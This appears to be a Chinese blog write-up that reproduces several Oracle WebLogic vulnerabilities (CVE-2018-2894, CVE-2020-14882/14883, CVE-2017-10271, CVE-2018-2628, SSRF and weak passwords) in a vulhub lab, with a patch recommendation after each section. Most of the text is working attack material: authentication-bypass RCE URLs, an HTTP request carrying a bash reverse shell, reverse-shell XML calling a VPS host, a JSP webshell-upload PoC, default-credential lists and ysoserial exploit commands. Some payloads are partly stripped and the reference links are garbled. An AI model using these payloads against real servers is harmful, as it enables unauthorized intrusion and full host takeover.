weblogic 漏洞复现

cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录

sudo service docker start //启动docker服务

docker-compose up -d //启动

docker-compose stop //测试完毕后停止服务

docker-compose down //移除容器
Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限

漏洞地址

/ws_utc/begin.do
/ws_utc/config.do

默认端口:7001

影响版本
WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

复现

启动对应得docker后,访问登录页面http://192.168.220.129:7001/console

进入靶机查看Webloic密码得密码以便于进行登录然后进行漏洞环境得配置。执行docker-compose logs | grep password。

weblogic 漏洞复现_第1张图片

进行登录

然后在base_domain中得高级选项(advenced)中,设置启用WEB服务测试页(Enables web service test Page),然后保存

weblogic 漏洞复现_第2张图片

weblogic 漏洞复现_第3张图片

上述设置,就是漏洞存在的环境,若是管理员如此设置对应版本得Weblogic即会导致任意文件上传得问题。

做了上述设置后,无需登录即可上传shell 了

访问http://192.168.220.129:7001/ws_utc/config.do

将当前工作目录改为其他目录,提交保存

weblogic 漏洞复现_第4张图片

替换目录为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

来到设置中得安全,点击添加,通过浏览上传shell即可
weblogic 漏洞复现_第5张图片

weblogic 漏洞复现_第6张图片

上传过程中抓取返回包,即可看到上传得时间戳,

weblogic 漏洞复现_第7张图片

shell的位置

http://192.168.220.129:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
修复建议

(1)设置config.do,begin.do页面登录授权后才能访问
(2)更新产品版本,安装安全补丁

Weblogic弱口令&文件读取漏洞

漏洞描述:weblogic后台存在一个弱口令,并且前台存在任意文件读取漏洞。weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密。

受影响版本:weblogic版本:10.3.6(11g)

复现

通过弱口令weblogic/Oracle@123进入系统

点击部署,让点击安装,
weblogic 漏洞复现_第8张图片

点击上载文件
weblogic 漏洞复现_第9张图片

在部署档案这里点击浏览上传war文件,war 文件就是将jsp文件添加到压缩包,然后将压缩包的后缀改为.war即可。

weblogic 漏洞复现_第10张图片

上传完成后,一直点击下一步,知道出现保存,点击保存,则已经完成上传。
weblogic 漏洞复现_第11张图片

weblogic 漏洞复现_第12张图片

shell 地址为http://192.168.220.129:7001/shell/shell.jsp,因为我们的war包名称是shell,所以路径中会有一个shell.

weblogic 漏洞复现_第13张图片

冰蝎链接
weblogic 漏洞复现_第14张图片

Weblogic对于登录的爆破貌似有限制,不建议直接上来就爆破,常见弱口令有以下等等。

用户名 密码
system password
weblogic weblogic
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlpisystem wlpisystem
密码破解

如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。

weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。

Weblogic将用户的密文与密钥保存在本地

/root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:

./security/SerializedSystemIni.dat 密钥

./config/config.xml 密文

使用任意文件下载,下载该两个文件。
vulhub测试环境存在一个任意文件下载漏洞:

http://192.168.220.129:7001/hello/file.jsp?path=/etc/passwd

下载对应的文件,使用vulhub中自带的脚本解密即可获得weblogic的密码。

修复建议

将weblogic版本升级到最新版本。

Weblogic未认证远程命令执行(CVE-2020-14882,CVE-2020-14883)

漏洞描述:CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

受影响版本

Weblogic : 10.3.6.0.0
Weblogic : 12.1.3.0.0
Weblogic : 12.2.1.3.0
Weblogic : 12.2.1.4.0
Weblogic : 14.1.1.0.0

漏洞复现

使用以下链接绕过weblogic认证。

http://192.168.200.129:7001/console/css/%252e%252e%252fconsole.portal

确实可以不经过认证,直接进入weblogic

weblogic 漏洞复现_第15张图片

但此时访问后台是一个低权限的用户,无法安装应用,也无法直接执行任意代码,也无权上传webshell。

CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。

http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

可以看到执行成功,创建了success1文件。

在这里插入图片描述

制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。






bash
-c





通过访问以下链接,引入恶意xml,执行命令

http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")


反弹shell的xml







bash
-c
& /dev/tcp/vps_IP/8899 0>&1]]>



记得监听对应的端口

修复建议

安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html

Weblogic ssrf 漏洞

漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

受影响版本
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0

http://192.168.220.129:7001/uddiexplorer/

weblogic 漏洞复现_第16张图片

SSRF漏洞存在于:http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp,
在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:

http://192.168.220.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

weblogic 漏洞复现_第17张图片

原数据包为post,改为get请求仍旧可以、

weblogic 漏洞复现_第18张图片

端口为WEb端口且开放

weblogic 漏洞复现_第19张图片

端口未开放

weblogic 漏洞复现_第20张图片

如果访问的非http协议,则会返回did not have a valid SOAP content-type。

weblogic的的ssrf的漏洞利用与gopher协议有点像,可以直接执行多条命令,将命令以\r\n来换行,然后全部进行url编码,放在要攻击的地址的后面就行了,不过要在最前面加上一个\r\n的换行

Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞描述:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。CVE-2017-10271漏洞补丁修复后,CVE-2019-2725是对该漏洞的绕过。

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

漏洞复现

数据包报文内容

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 644

 





/bin/bash


-c


bash -i >& /dev/tcp/192.168.220.129/8000 0>&1










返回状态码500,反弹shell成功了。

weblogic 漏洞复现_第21张图片

weblogic 漏洞复现_第22张图片

写入木马的poc






servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp

");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
]]>








修复建议

1、下载Oracle推送补丁,下载地址如下

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;

2、根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。

影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3(项目列表)

漏洞复现

使用nmap 扫描探测

nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130

weblogic 漏洞复现_第23张图片

使用使用 https://www.exploit-db.com/exploits/44553 中的脚本进行复现,具体使用方法见脚本。

下载ysoserial.jar


wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping www.baidu.com'


python2 exploit.py 192.168.220.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.220.1 1099 JRMPClient2


weblogic 漏洞复现_第24张图片

python 脚本虽然报错了,但是执行成功

可以看到发起了ping的请求,也可以反弹shell,但是不知道是不是环境原因,很卡,有时候成功
weblogic 漏洞复现_第25张图片

https://jackson-t.ca/runtime-exec-payloads.html

weblogic 漏洞复现_第26张图片

修复建议

安装官方补丁:

https://www.oracle.com/security-alerts/cpujul2020.html
(2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
(3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

参考

https://www.freebuf.com/articles/web/287165.html
https://mp.weixin.qq.com/s/b1YUXhDQhttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rw4U_m5hP_3lc_rw
https://mp.weixin.qq.cohttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rwm/s/cbrXknj3ubKZrHcUCSvHLQ

你可能感兴趣的:(常见漏洞,web安全,docker,weblogic,渗透测试,漏洞复现)